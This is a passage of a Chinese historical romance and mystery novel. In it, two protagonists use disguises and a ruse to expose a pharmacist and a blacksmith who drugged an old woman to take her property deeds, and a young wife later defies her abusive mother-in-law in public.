苏云鹤闻言动作一顿,似是想到些伤感之事,轻叹道:“自是有许多。家姐的心病,我便不知如何医治……揣摩女子的心思,我比韩姑娘还是差得远了。”
韩诗情听他又提起同胞姐姐,柔声道:“何不让她来京城,与我闲谈片刻?再或者,我们寻个机会去见她?”
这提议听来甚好,却并未让苏云鹤宽心,反加重了他眼中的忧色。他苦笑一声,摇头道:“我也希望如此。可她所嫁之人身份实在特殊,让她与姑娘相见,并非易事。”
他第一次提到姐姐的详细情况,这番话说的真诚,不似作伪,可这真诚中,又仿佛藏着些难言之隐。
见平日里温润从容的公子面露愁色,韩诗情心里没来由地升起一阵怅然,可眼下也无他法,只得柔声宽慰:“等寻到合适时机,我必全力相助。”
苏云鹤抬眸,给了她一个感谢的温笑,便低下头继续手中的动作。
过了许久,泥浆终于捣好,方才那淡淡的怅然氛围也已消散。
接下来需将泥浆均匀涂抹在韩诗情脸上,待定型后再捏造型。但男女有别,苏云鹤不能亲手施为,便唤来杨雨露帮忙。
韩诗情则合上双眸,安心等待着。
杨雨露动手时,苏云鹤在旁观察指导,确保泥浆涂抹均匀。
“要涂得薄些,这里有些厚了。”
他一边指点,一边近距离察看敷面效果,不知何时,目光竟有些挪不开了。
韩诗情此刻双眸轻阖,全然放松下来,带着对身旁之人的信任与依赖。她清丽绝俗的容颜透出几分易碎的柔美,如月下薄霜,美得令苏云鹤心弦一颤。
“这样行吗?”杨雨露边做边问,却无人应答。她一转头,便见苏云鹤正失神地望着韩诗情。
“公子?”杨雨露又唤了一声。
苏云鹤这才回过神,压下心底悸动,轻轻点了点头。<
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而紧闭双眼的韩诗情,不知怎的,似乎能感受到苏云鹤那专注的目光。泥浆之下,雪白的面颊悄悄泛起一抹红晕。
时间一分一秒的流逝,这一夜,仿佛格外漫长。
到了深夜,苏云鹤与韩诗情各自戴好人皮面具,又换了衣裳。此刻的他们,一个似刀尖舔血的江湖女子,另一个如唯唯诺诺的落魄书生,再没有平日那般不染纤尘的模样。
天未亮时,二人出了解忧阁,来到一间名叫“济世堂”的药铺门前。
苏云鹤与韩诗情对视一眼,抬手叩门。
“有人吗?开开门!”
不多时,传来伙计惺忪的脚步声。门刚开一条缝,便见他满脸不耐:“这才什么时辰?还没开张呢,去去去,晚些再来!”
说罢便要关门,韩诗情却一脚将门踹开,怒道:“若不是急症重伤,谁这个时辰来敲药铺的门?!”
伙计险些被踹倒,困意全无。只见眼前女子江湖打扮,手持长剑,正对他怒目而视。
他吓得后退半步,正想转身喊人,韩诗情却掏出一锭银子扔进他怀里,冷声问:“现下,开张了吗?”
伙计低头一看,手中竟是沉甸甸的十两银子,那点惊吓顿时烟消云散,忙堆起笑脸:“开张了,开张了!二位快请进。”
说着便将苏云鹤与韩诗情迎入厅中。
不一会儿,掌柜顾福宝被喊了出来,原本骂骂咧咧的,一见伙计递上的十两银锭,顿时笑逐颜开。
“二位客官,想抓什么药?”顾掌柜笑呵呵地问,目光却仍粘在银子上。
苏云鹤扮作落魄书生,言行谨小慎微。他小心地看了一眼韩诗情,又瞥向伙计,示意顾掌柜屏退旁人。
待厅中只剩三人,他才压低声音,吞吞吐吐道:“红……红花……”
“红花?”顾掌柜一听这药名,脸上露出暧昧笑意,“那可是……落胎的东西。二位是——”
话未说完,韩诗情“啪”地将剑拍在桌上,催促道:“少废话,有没有药?”
顾掌柜见她不好惹,不敢再调侃,连声道:“有!有!”
说罢,便转身从药柜格中取出药材,包好递给苏云鹤。
苏云鹤接过药,道了声谢,走回韩诗情身边:“娘子,我们走吧。”
“走?”韩诗情神色骤冷,目光突然扫向顾掌柜,“我们这见不得人的事,若被他们药铺传出去,还如何见人?”顿了顿,她做出决定,“此人不能留,杀了。”
“杀了?”苏云鹤大惊,回头见顾掌柜吓得面无血色,又转向韩诗情劝道,“不……不必了吧?他又不认识我们。”
顾掌柜连忙附和,结结巴巴道:“是、是啊……我根本不认得二位……我什么也不会说!”
“不怕一万,就怕万一。你不敢动手,我自己来。”韩诗情一把推开苏云鹤,恨铁不成钢地骂道,“没用的东西!”
说罢提剑起身,便要向顾掌柜走去。
万万没想到的是,苏云鹤突然发难,袖袍一扬,撒出一片白粉,韩诗情当即软倒在椅子上,失去了意识。
迷倒她后,苏云鹤自己也脚下一软,瘫坐在地,仿佛耗尽了所有力气,喃喃道:“我不想杀人……我不想杀人……”
顾掌柜从鬼门关走了一遭,惊魂未定,怔了好一会,才上前扶起苏云鹤,“这……这究竟是怎么回事?”
苏云鹤听他来问,似劫后余生般,突然抓住他的手腕。
“掌柜的,差一点……差一点我就杀人了!”
8. 第八回
顾掌柜将苏云鹤扶到旁边椅子上坐稳,长长吁出一口气,叹息里满是劫后余生的庆幸。
“公子,你先歇一歇……”他为苏云鹤沏了杯茶,自己在柜台后坐定,“多亏了你,要不我这条命,今日就交代在这儿了。你这娘子……”
苏云鹤咽下一口茶水,颤声道:“其实我们并未成亲,她不是我娘子。”
“可她已经……”顾掌柜颇为意外,看了看韩诗情,“你们莫不是……私定终身?”
这一问,问得苏云鹤面红耳赤,迟疑好一会儿,才支支吾吾地承认了。
“我初识她时,她虽是江湖女子,却也算得上温婉贤淑。朝夕相处间,我们生了情意,确是私定了终身。可惜后来她家人被仇家所害,她性子……便越发偏激。”
说到这儿,他将茶盏放在桌上,双手掩面,哽咽道:“方才你也看到了,她说要杀你,眼都不眨一下……甚至还逼我动手!这已不是第一回了,正因如此,我才留了个心眼,随身带着防她的迷药……”
顾掌柜听得再叹一声,同情道:“那你为何不离开她?”
“离开她?”苏云鹤仿佛听到极可怕的事,摇摇头,身子轻颤起来,“我怎会没提过?可她说……既已怀了我的骨肉,便是孩子不要,也不许我始乱终弃,否则便要取我性命……”
顾掌柜眼中同情更深,又瞥了一眼昏睡的韩诗情,提议道:“如今她已被你撂倒,伤不了你,若你铁了心离开她,不如我带你报官去?”
原以为是好主意,却见苏云鹤眉头皱得更紧,叹道:“这事……我更做不到。”
顾掌柜面露疑惑。
苏云鹤缓缓坐直身子,嘴唇翕动几回,欲言又止。直至顾掌柜再三探问,他才压低声音道:“掌柜的有所不知……我虽看似落魄,在江南却还算得上富甲一方。是这恶妇防我寻花问柳,出了门便连衣衫都不许我穿得光鲜。最重要的是,我名下那些田产地契、生意文书,如今全攥在她手里,不知藏在何处。”
说到“恶妇”二字,他咬牙切齿,显得既愤慨又无助。
余光之中,他瞧见顾掌柜听到“富甲一方”时,眼里几乎放出光来。
这个细微的神情,让他心中已有了八九分把握。
他顺势又道:“你看她出手阔绰,随手便是十两八两赏人,花的全是我家的银子。今日这十两银子还算少的,往常便是十两金子,也不当回事。我若离了她,家产岂不全都打了水漂?你叫我……如何离得开?”
他刻意将家底说得丰厚无比,听得顾掌柜一时晃了神,心头转过千百个念头,嘴上只含糊应着:“确是离不得……离不得……”
见此情状,苏云鹤知时机将到,只差添最后一把火。
他起身,向顾掌柜深深一揖,满是歉意:“掌柜的,今日让你受惊了。劳烦你先避一避,我喂她解药,待她醒了,便说你们都逃走了,免得她再来寻衅。她对我终究有些情分,又知我这回放她一马,不至过于为难我。”
顾掌柜这才从方才的思绪中醒过神,抬手虚拦:“不急……不急,我先不急着逃。”
“不急?”苏云鹤佯作不解,“性命攸关,怎能不急?你快些去吧,若等到天亮,便是不喂解药她也要醒了。”
“我明白。不过……”顾掌柜眼珠转了转,犹豫良久,终于咬牙道,“公子,我有法子助你脱身,还能拿回家产。只是……你得匀我一些,我做这事,可得冒着性命风险。”
终于说到正题了。
苏云鹤心头一动,面上却作惊喜状,重新落座为顾掌柜斟满茶盏:“还请掌柜的指点。若真能两全其美,我愿分出三成家产以作酬谢。”
顾掌柜眼前一亮:“公子此话当真?”
“我可立契为凭!”苏云鹤一脸诚挚。
提起这事,顾掌柜却又犹豫了:“可公子身份,我尚且不知,这契约恐怕……不作数吧?”
苏云鹤早有准备,从怀中取出一块令牌,放在桌上。
那牌子是上好的楠木所制,正中刻着一个“裴”字。
顾掌柜一见,面上顿时露出惊喜,但凡经商之人,都认得这江南首富裴家的腰牌。
苏云鹤报出名号:“不瞒掌柜,在下正是裴家三公子裴栩生。裴家三子现已分家,我那份产业,便是落在这恶妇手中……我与你签契约时,不但按指印,连这牌子一并印上,可行?”
“行,行,自然行!”得了这句承诺,顾掌柜再不客气,当即取出纸笔,让苏云鹤立契。
见苏云鹤写好契约,签名按印,又押了牌印,顾掌柜心中最后一丝犹豫也消散了。他清清嗓子,踱步道:“我可配一味药,待她服下去,我们问什么她便答什么,届时可套出你的家产所在。服药半日后她便神志不清,全身无力,只能瘫在床上,再无法伤害你。你不想要她,便将她送官,岂不一劳永逸?”
“这……这……”苏云鹤故作震惊,张口数次,只结结巴巴说不成句,“可……可是……”
顾掌柜以为他仍心存不忍,低声劝诱:“裴公子,你怎还能对她心软?她这般残暴,若有一日对你没了情分……你性命难保。”
苏云鹤摇摇头:“我倒不是担心这个……”
“那是为何?”
苏云鹤沉默片刻,目光转向昏睡中的韩诗情,眼中流露出真切的不忍:“那孩子终究是我的血脉。若非她执意不要这个孩子,我也不愿走到这一步。你这药既让人神智昏沉,可会伤及腹中胎儿?能否……让她平安生下孩子?”
没料到他担忧的竟是这个,顾掌柜松了口气,摆手笑道:“公子不必多虑。我钻研此道多年,虽不敢妄称医毒双绝,却也有些把握。那药只乱心神,不伤根本。你若想留这孩子,待事成后暂不报官,将她安置在宅中休养便是。”
“若真能如此……”苏云鹤面上露出决断之色,拱手郑重道,“那便全仗掌柜的了。天明之前,这药可能配得成?”
“很快的,配得成!”顾掌柜心中急切,转身便要去配药。
苏云鹤却又唤住了他。
“再……再稍等片刻……容我想想。”
顾掌柜脚步一顿,眉间已露不耐:“裴公子还有何顾虑?”
“掌柜的,并非我不信你,只是这药说得如此
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玄妙……我终是放心不下。万一药效不灵,她不听咱们使唤,我的家产岂不……”苏云鹤面露为难之色。
“怎会不灵!”顾掌柜怕这到手的富贵飞了,一急竟脱口而出,“这药我又不是头一回配了!”
话音方落,他自己先怔住了。
苏云鹤神色骤变:“你……你竟曾用此药害过人?”
顾掌柜心知失言,可想着那三成家产,索性把心一横,拍案道:“公子如今自身难保,还顾得上旁人?”
苏云鹤先是惊怒交加,随即却又缓下神色,摇头叹道:“掌柜的为劝我答应,连这等谎话也编得出来……罢了,你说什么便是什么吧。只是我那万贯家财与未出世的孩子,实在赌不起。”
他顿了顿,似在权衡:“经了今日这事,或许她愿与我好生商量。只要她肯生下孩子,我便不需行此下策……这险,我不能冒。”
顾掌柜见他反复,急得跺脚:“你我契书都立了,岂能说反悔就反悔?我担保绝不会出差错!”
“你如何担保?”苏云鹤反问,“我虽应了分你三成,可若家产拿不回,也是一场空。罢了……你还是速速避一避,过几日我们离京,你再回来。”
顾掌柜当即反对:“不成!绝不成!”
裴家三公子的三成家产,怕是抵得上济世堂二十年营收。他怎肯轻易放过?
他心念急转,忽道:“这样!我拿样东西给公子瞧过,公子便知我所言不虚!”
苏云鹤神色微动:“何物?”
顾掌柜匆匆转入内室,片刻后取出一纸契约递来。
那是一份赠与文书,写明陈婆子将房契赠予顾掌柜,落款竟是半年前,比赵敏兰之事早了许久。
“这便是服药那人亲笔所立。”顾掌柜低声道,“如今她瘫痪在床,神志不清,公子若还不信,自可去查证。”
拿出这份证据,本觉得终于可以把事情敲定了,苏云鹤却忽然收了那副犹豫神色,恢复了素日里温润从容的模样,只是语气寒若冰霜:“查?不必再查。该查的人,已查到了。”
音落,韩诗情悠然转醒。
在顾掌柜惊愕的目光中,二人一同揭下人皮面具,露出本来容貌。
顾掌柜怔住了。
这二人即便衣着寻常,真容一现,却如谪仙临世,男子清逸如山间雪松,女子清雅若空谷幽兰,绝非寻常人物。
他知自己惹了高人,心念急转,转身便向后院逃去。却未料到,后院早已有人等候。
还不止一人。
叶霜执剑立在院中,苏影与杨雨露一左一右在她身旁,她们身后,赫然立着几名衙役。
顾掌柜脸色惨白,心一横,有意殊死一搏,转身冲回前厅,从怀里掏出一把短刀,朝着看起来最柔弱的韩诗情刺去。
他人还没冲到跟前,手腕就被苏云鹤一把抓住。短刀“当啷”一声掉在地上。
少顷,叶霜几人已经冲进厅里,几名衙役立刻把他按倒在地。
他浑身发颤,面如死灰,最后一丝挣扎也放弃了,只颤抖着声音喊道:“是赵德海!全是那赵德海指使我干的!”
9. 第九回
当着众人的面,他将前后缘由和盘托出。
“赵德海平日里做打铁生意,给不少江湖门派打造兵器,认识了许多道上的人物……这些年下来,竟混了个黑白两道通吃。他给了我二百两银子,又拿我妻儿性命相胁……我不敢不从,才做了这昧良心的事啊!”
他语气中满是悔恨。
苏云鹤与韩诗情对视一眼,心中了然。难怪赵德海行事如此肆无忌惮,原来背后有这般倚仗。
交代完这些,顾掌柜抬起头看苏云鹤,眼中既有绝望,又存着一丝不甘:“我……我有一事不明,望公子告知,也好让我死个明白。”
苏云鹤淡淡道:“你说。”
“制作失心散的那几味药材,赵德海一味都未在我这济世堂买。”他极为不解,“你们……是如何查到我头上的?”
苏云鹤闻言,唇角仍噙着温润笑意,声音却淡了几分:“你倒是心思缜密,知晓分开采买不易引人注目。只可惜,聪明反被聪明误。”
他顿了顿,缓缓道来:“这些药材分开来买,并不会引人怀疑。他在京城哪家药铺买都没有区别,却偏偏跳过离他铺子最近的济世堂,岂不是此地无银三百两?”
顾掌柜一怔,喃喃道:“或许……他是怕离得近,易被我瞧出端倪?我行医多年,多少有些眼力……”
“若真是如此,倒也可解。”苏云鹤话锋一转,目光如炬,“我们也怕错怪好人,这才演了今日这出戏。若你当真无辜,方才我让你先避祸时,你便该立刻离去。可你非但没走,反而不打自招,自己说出了详情。”
顾掌柜听罢,长长叹了口气,终是心服口服了。
事情虽已大致清楚,却尚缺关键一环。苏云鹤看着烂泥般坐在地上的顾掌柜,又沉声问道:“赵铁匠指使你做此事,可有何物证?书信、契据,或是他付给你的银票皆可。”
顾掌柜怔了怔,摇头道:“没有……我为人极为谨慎。为了不留痕迹,我特意让他分开前往几家药铺买那几味药,给我的银钱也是他提前兑出来的现银,未曾立下字据,也没敢让旁人知晓。”
苏云鹤微微蹙眉,望向韩诗情。两人目光交汇,韩诗情微不可察地点了点头。
苏云鹤会意,当即沉下脸来,对顾掌柜冷声道:“口说无凭。若拿不出旁人指使的证据,这谋害人命、配制禁药的重罪,便只好由你一人承担了。”
“什么?!”顾掌柜如遭雷击,猛地抬起头,声泪俱下地喊道,“真是他指使我的啊!千真万确!我……我只是个帮凶啊!那失心散是他要我配的,陈婆子也是他下的药!我、我冤枉啊!”
见他已吓破了胆,苏云鹤这才缓了语气:“若你能将功折罪,替我们找出指证他的证据,自然,不该你担的罪名便不需你担了。官府判案,也讲究个首从有别。”
顾掌柜如见救命稻草,连连磕头,额上都磕出了血印:“只要能减轻罪责,我当牛做马,在所不辞!公子要我做什么,尽管吩咐!”
次日清晨,天色未明,济世堂后院一片寂静。
顾掌柜不知怎的挣脱了绳索,又摸出了钥匙,打开后门,仓皇逃了出去。
他一路踉跄,专挑小巷暗街走,直奔赵德海家而去。到赵德海家时,他已狼狈不堪,衣袍沾满尘土,发髻散乱。
“砰砰砰!”
他用力拍打着赵家的木门。
好一会儿,门才开了一条缝。赵德海本在院中打磨铁器,见是他,脸色顿时沉了下来,四下张望后,才将他拽进院子,迅速关上门。
“你怎么来了?!”赵德海压低声音,语气不善,“不是说了最近不要见面吗?”
顾掌柜喘着粗气,一把抓住赵德海的衣袖:“赵、赵大哥……露馅了!全都露馅了!”
赵德海心中一凛:“什么露馅了?”
“衙门那边……查到我头上了!”顾掌柜语无伦次道,“昨夜解忧阁那两个东家扮作江湖人来我铺里,设局套我的话……我、我一时不慎,全说了!”
赵德海面色骤变。
顾掌柜继续道:“我趁他们不备,用迷香放倒了所有人,这才逃出来……一是给你报信,二是……我跑得太急,身上没带银钱,你、你给我些银子,我好逃出城去……”
赵德海听闻顾掌柜暴露,又听他朝自己要银子,不禁眉头拧紧,摆手道:“我里哪还有银子?前些日子不是都给过你二百两了吗?”
“我没拿出来呀!”顾掌柜急道,“他们最多睡两个时辰,我人能跑出来便不错了,哪还敢贪钱?等他们发现,定是要去抓我,我得远走高飞!你至少……至少再给我一百两!若是你不给,我、我就去自首……把你也供出来!”
“供我?”赵德海甩开他的手,非但不慌,反而冷笑一声,“你有什么证据?单凭你一张嘴,官府就能信你?再说了,你如今是逃犯,说的话谁能作准?”
顾掌柜早料到他会这般说,眼中闪过一丝狡黠:“怎么没有证据?赵大哥,你怕是还不知晓吧,陈婆子已经醒了!”
赵德海浑身一震:“什么?!”
“不但醒了,还握着你害她的证据!”顾掌柜压低声音,“她说上次吃你送的糕点时,不小心掉了一块在床底下。那糕点若拿去官府验一验,里头掺了什么,一清二楚。”说着拽了拽赵德海的衣袖,“快跑吧,我仁义,才给你报信,你也……给我点活路!”
此言一出,赵德海脸色煞白,盯着顾掌柜看了半晌。
顾掌柜向前逼近半步,脸上已露出威胁之意:“赵大哥,你若是不给我活路,我现在便去门外喊人,咱谁也别想好。”
“你……”赵德海气急,恨不得一刀捅了这勒索之人,又不愿担上人命官司。沉默好一会,最终咬了咬牙,阴着脸转身进屋。
不多时,拿着一个小布袋走出来,塞进顾掌柜手里:“这些你拿着,赶紧走。”
顾掌柜掂了掂袋子,约莫有五十多两,这才露出几分满意的神色,转身离去。
待他走后,赵德海快步回屋,翻箱倒柜地找起东西来。这些年来,他攒下的契书、文书不少,有租铺的,有买卖铁料的……还有陈婆子赠与他的几份房契、地契。
这些东西,他本想等过几年拿去衙门过户,如今似乎用不上了。
长叹一声,正
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要将这些文书收起来,屋门却突然被人用力撞开。
紧接着,数名衙役闯进屋里,未等他反应过来,为首的捕头已厉声道:“赵德海!你涉嫌谋害陈氏,现证据确凿,随我们回衙门!”
赵德海浑身一僵,手中文书散落一地。
他看着满地白纸黑字,又看向门外,方才离去的顾掌柜,此刻正被两名衙役押着,垂头站在人群中。
原来顾掌柜逃出济世堂是假,诓骗他翻出银钱逃亡才是真。方才二人对话,早已被埋伏在院外的衙役听了个一清二楚,地上那些陈婆子赠与他的文书,更是让他再难辩驳。
人证、物证、口供,如今已全部齐全。
他双腿一软,烂泥般瘫坐在地,手指死死抓着衣角,大口大口地喘着粗气,却再也说不出一个字来。
三日后,官府告示张贴于城门各处。
赵德海与顾掌柜合谋下毒、伪造文书,被判流放三千里,永不得返京。
陈婆子被害一案至此水落石出,杨雨露将告示带回解忧阁时,阁内一片欢欣。
苏云鹤、韩诗情主仆四人聚于前厅,围坐桌旁,杨雨露沏了一壶上好的碧螺春,又备了几样精致茶点。叶霜刚好到访,便一同坐了。
众人以茶代酒,庆贺恶人伏法。
“总算将这祸害给除了。”叶霜端起茶盏,眼中仍有余悸,“若非韩姑娘与苏公子设局,只怕我至今还被蒙在鼓里,甚至……甚至险些铸成大错。”
韩诗情温声道:“叶姑娘也是救母心切,一时受人蒙蔽。如今真相已明,令堂也已康复,便是最好的结果了。”
杨雨露插话道:“只是可惜,敏兰近些日子……恐怕不会好受。”
众人闻言,皆沉默了片刻。
少顷,韩诗情不愿大家的心情受影响,转了话题,看向叶霜道:“如今事情已了,叶姑娘往后有何打算?还要继续闯荡江湖么?”
叶霜放下茶盏,神色温和了许多,眼中却有一丝怅然:“其实……这些年在江湖漂泊,看似快意,心中却始终空落落的。尤其是这次回来,见母亲遭此大难,我才察觉,江湖再大,终究不是家。”
她顿了顿,轻声道:“我决心留在母亲身边,好好陪她几年。只是母亲不能再做媒婆营生了,我亦不会针织女工,尚不知该做些什么糊口。”
韩诗情眼中一亮,温声道:“若叶姑娘不嫌弃,可愿来解忧阁的女子学堂,教女子们一些防身功夫?如今学堂中已有二十余名学子,多是苦命女子,学些本事防身,总是好的。”
叶霜闻言,先是一喜,又是一叹,面露迟疑之色。她看了苏影一眼,苦笑道:“若是从前,我定当仁不让。可这次与阿影交手,我才知人外有人。我连他一个书童都打不过,哪有颜面教人武功?”
苏影听人夸到自己,唇角微扬,难得开口道:“叶姑娘莫要妄自菲薄。我虽只是书童,却拜了绝世高手为师,习武十余载。江湖上能胜我的,本就不出十人。叶姑娘年纪轻轻便有这般身手,已是极难得了。”
叶霜听罢,好奇道:“不知尊师是哪位高人?能教出你这身功夫的,定非寻常人物。”
10. 第十回
听到这个问题,苏影下意识望向苏云鹤,这一望,答案已不言而喻。
叶霜这才恍然,随即笑道:“我说对了,果然不是寻常人物。苏公子这般功夫,方才有资格收人为徒;你既已做了解忧阁的东家,何不再多做一份工,教教女子们防身?”
“叶姑娘谬赞了。”苏云鹤谦虚一笑,“我终究是男子,教女子武功多有不便。”
叶霜行走江湖多年,向来不拘小节,倒是未想到这一层,现下经他提醒,也觉不妥。
韩诗情又适时劝道:“想来想去,还是你最合适。雨露虽会些拳脚,也只够日常防身。若你肯来,她定要第一个拜你为师。”
杨雨露连连点头,手上还跟着比划了两招:“正是!叶女侠那日出手,招式利落又实用,最适合女子学了。我若能学得一二,日后保护姑娘也更有把握。”
见众人诚意相邀,叶霜沉吟片刻,最终展颜一笑,拱手道:“既如此,叶霜便恭敬不如从命了。只是我教得不好时,诸位可莫要笑话。”
众人都笑了起来,前厅里气氛融融。
当夜,月华如水。
韩诗情独自坐在院中石凳上,面前石桌上摆着一架古琴。
她指尖轻抚琴弦,试了几个音,便奏起一曲《流水》。琴音潺潺,清越悠远,在寂静的夜色中格外分明。
不多时,笛声自月门处响起,如清风拂过竹林,飒飒清音,与琴音相和。
苏云鹤缓步走来,手持玉笛,停在韩诗情身侧不远处,继续吹奏。
琴笛合鸣,配合得天衣无缝。一曲终了,余音似仍在院中萦绕。
二人相视一笑。苏云鹤在旁边的石凳上坐下,将玉笛放于桌上,静静望向韩诗情。
月光掩映下,她纤细的身形更显柔弱,仿佛一阵轻风便能将她带走。
苏云鹤很难想象,这般孱弱的女子,竟有那样坚毅的心智、那样高洁的品性。
念及此,他不禁问道:“叶姑娘持剑相向,或是顾掌柜拔刀突袭时,你不怕么?”
韩诗情迎向他专注的目光,未加思索,脱口道:“公子就在身边,有何可惧?”
话音落下,她才觉出这话有些暧昧,脸颊微热,又补充道:“我的意思是,公子文武双全,心思缜密,我信得过你。”
“能得你信赖,是我的荣幸。”苏云鹤轻轻点头,目光仍落在她脸上。她也仍在望着他,四目相对,一时相顾无言。
院中渐渐静了下来。不知怎的,两人不约而同想起那日诓骗顾掌柜时所说的话。
他唤她“娘子”,他说他们已私定终身,还有……她腹中有了他的骨肉。
当时只想着套话取证,未觉有何不妥。如今尘埃落定,在这夜深人静之际,莫名回想起那些言语,便像是有什么在心底轻轻挠了一下,泛起丝丝羞意。
月色朦胧,气氛微妙。
韩诗情率先回过神,移开视线,随意寻了个话头:“说起来,那日公子那块裴家的牌子,倒是起了大作用。”
苏云鹤知她有意转开话题,顺着话锋温声道:“那牌子的主人与我是至交。上次分别时,他硬塞给我,说或许用得上,没成想真派上了用场。”
“原来如此。”韩诗情点点头,指尖无意识地拨弄着琴弦,偶尔漏出几个清音。
两人有一搭没一搭地说着话,虽在交谈,心思却不知飘向了何处。
直到韩诗情打了个冷颤,不自觉地拢了拢衣袖,他们才发觉夜已深了。
苏云鹤想解下外衫递给她,又顾及男女之别,恐显唐突,只得起身道:“夜凉了,早些歇息吧。”
韩诗情也站起身,微微颔首。
二人各怀心事,在月门下道别,一个往东厢去,一个往西厢去。
如此,一夜无话。
自那以后,解忧阁名声愈盛。
他们为陈婆子申冤之事传扬开来,京中女子闻之,皆觉得解忧阁是个能为女子做主的地方,凡有大愁小忧,都愿来阁中坐坐。
韩诗情每日倾听、开解众人,虽忙碌,心中却觉得充实。
这一日傍晚,韩诗情正坐于前厅看书,忽闻门外传来一阵喧哗。
杨雨露匆匆来报,脸上带着几分忧色:“姑娘,外面吵吵嚷嚷的,似乎……与咱们解忧阁有关。”
解忧阁开门至今,上门寻衅滋事的已非一二人。韩诗情对此早是惯见,只轻叹一声,便与杨雨露一同向外走去。
刚至门口,便听得一妇人声音聒噪刺耳,正骂骂咧咧道:“又来这儿!日日往这儿跑,这是什么好地方不成?”
出了门,循声望去,只见一群人聚在解忧阁门前。
说是围在解忧阁门前,倒不如说是围着一对正拉扯争执的婆媳。
这对婆媳韩诗情认得,乃是西街肉贩刘屠夫的妻子魏珍荷与婆婆王氏。
那婆婆王氏,街坊多唤她一声王大婶,便是方才高声叫骂之人。她身形微晃,口齿含混,显然已饮了不少酒。
媳妇魏珍荷嫁入刘家两年,性子向来温顺怯懦,因一直未能有孕,近几个月来日日受王氏责骂羞辱,有好几回,闹得四邻皆知。
而刘屠夫和他父亲,对王氏言听计从,便是知道魏珍荷有时受了委屈,也从不敢多言。时日一久,竟也觉得王氏说的有理,是魏珍荷对不住刘家。
魏珍荷终日愁眉不展,来过解忧阁几回,在韩诗情开导下,性格渐渐开朗了些,后来就进了女子学堂,想学学算账。
眼前这情形,正是王氏当街指着魏珍荷的鼻子破口大骂。
“算账算账,女子学什么算账?!”她叉着腰,唾沫星子几乎溅到魏珍荷脸上,也顾不上身旁围观的人。
魏珍荷立在门前,脸色惨白,羞愤难当,恨不能找个地缝钻进去。
“我家娶你回来是做什么的?啊?两年了,整整两年,一个蛋也没下,还日日往外跑,学那没用的算账!”
“算账是女人该学的吗?你如今最该想的,是怎么给刘家留个后!”
骂了不知多久,许是骂累了,她一把抓住魏珍荷的手腕,就要往家拽,“跟我回去!在家好好做活,晚上等你男人回来生孩子!”
这般言语,竟在大庭广众之下说出口,莫说在这讲究礼数的世道,便是韩诗情从前所处的时代,也实属少见。
围观的人听得纷纷摇头,交头接耳议论起来。
魏珍荷当街受辱已不是头一回,可今日王氏的话格外难听。
她眼中含泪,几欲泣下,却倔强地不肯挪步,用力挣扎着,想甩开婆婆的手。
“不……我不回去!我不回去!”
她平日里常做家务,力气其实不小,近日又在学堂跟叶霜学过几招防身的功夫,此时全力一挣,竟把王氏推得踉跄半步。
“你!你这
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小贱蹄子!”王氏没料到她竟敢还手,登时怒上心头,抢上一步,抬手就要往她脸上掴去。
“雨露!”
韩诗情当即出声,杨雨露身影一闪已掠到人群中,牢牢抓住了王氏扬起的手腕。
这本是刘家家事,解忧阁原不该插手,可王氏当街动手打人,韩诗情实在看不下去。
拦下王氏后,她扶住惊魂未定的魏珍荷,温声问她是否安好。
魏珍荷含泪摇头,低声道谢。
王氏见制住自己的不过是个年轻姑娘,便想挣脱,怎料手腕如被铁箍扣住,竟动弹不得,只得连声叫道:“放开!放开我!”
“王大婶,有话好好说,何必动手?”韩诗情心中虽不认同她所为,语气仍保持着一贯的平和。
谁知好言相劝没换来该有的尊重,反招来更恶毒的辱骂。
王氏看清是韩诗情,当即认定是她拐带了自己的儿媳,尖声道:“关你什么事!就是你,整日对女子胡说什么自立自主,挑拨人家夫妻不和、家宅不宁!好好一个京城,让你搅成什么样子!”
说到激愤处,竟“呸”地啐了一口,“妖言惑众的狐媚子!”
听得她如此侮辱韩诗情,杨雨露脸色一沉,手上加力一推。
王氏连退数步,若不是身后有人扶了一把,几乎跌坐在地。
“我家姑娘玉洁冰清,岂容你出口污蔑?再敢胡言,看我不撕烂你的嘴!”
韩诗情上前半步,轻轻按住杨雨露的手腕,示意她不必动气,转而看向王氏,语调依旧温和:“这里是街市,容不得这般喧闹。若再纠缠,我们便只好报官了。”
“你、你们还要报官?”王氏见她们不好惹,酒意混着怒气上涌,索性往地上一坐,哭嚷起来,“哎呀欺负人啦……打人了还要告官,这世上还有没有王法呀!”
见她这般撒泼耍赖,杨雨露气得几乎要上前踹她一脚,却碍于身份不好发作,只指着她道:“谁欺负你了?你、你快起来!”
王氏哭声更响,一边嚎啕,一边拍打着地面,反复嚷着“欺负人”。
“唤阿影去报官吧。”韩诗情面色渐冷,不再看她,对杨雨露说罢,便要带魏珍荷回解忧阁。
一听真要报官,王氏哭声戛然而止,她虽耍横,却也怕衙役来了吃上罚银。慌忙半撑起身,伸手要去抓韩诗情的裙角,“你……你真要报官?”
杨雨露侧身拦住,将韩诗情护在身后:“世上怎会有你这等蛮横妇人!”
王氏抓了个空,悻悻爬起来,也不哭闹了,只冲着魏珍荷喊道:“报什么官!珍荷,快跟我回去!还不够丢人么!走吧走吧,回家!”
被她呼喝的魏珍荷,只觉这辈子从未如此难堪。她能感到街上每一道目光都钉在自己身上,这事过后,怕还要被邻里议论许久。
忽然间,她想起韩诗情劝她入学堂时说的那番话:你首先是你,才是别人的女儿,别人的妻子,别人的儿媳。
这番话,她曾听进心里,才鼓起勇气走入学堂。可每次回家,面对婆婆的刻薄,她又缩回原处,变回那个唯唯诺诺的媳妇。
今日见王氏撒泼至此,她心中蓦地一片清明——往后的日子,难道还能比此刻更不堪么?
想到这里,再看为自己出头却无辜受辱的韩诗情,忽然扬声道。
“你若这般急着要孩子,何不回家与你男人再多生几个?”
11. 第十一回
话音落下,惊得所有人僵在原地。
这比方才王氏那句“回家生孩子”更为石破天惊,王氏的脸色霎时青白交加,气得浑身发颤,指着魏珍荷,半晌才挤出话来:“你、你这不孝的恶媳!竟说出如此大逆不道的话,你等着,回去便让我儿子休了你!”
“好啊,休便休!”魏珍荷攥紧双拳,目光毫不退缩,“日日与你同处在一个屋檐下,你儿子何曾护过我半分?这般日子,我也受够了!”
从前唯唯诺诺的小媳妇,此刻竟如此果决刚强,王氏从未见过这般模样的魏珍荷。
既然休妻都唬不住她,王氏只得把话说得更狠:“你可想清楚了!我儿子若真休了你,你这二年生不出蛋的弃妇,便是十里八乡的笑柄!你就不为你爹娘想想?不为魏家挣点脸面?他们可丢不起这个人!”
这般恐吓,于魏珍荷非但无用,反令她心志更加坚定。
她忽地转向韩诗情,微微一笑,继而用韩诗情曾开导她的话,一字一句回应王氏:“我首先是我自己,才是我爹娘的女儿。我若日日受苦,魏家与爹娘的脸面再好,于我又何益?”
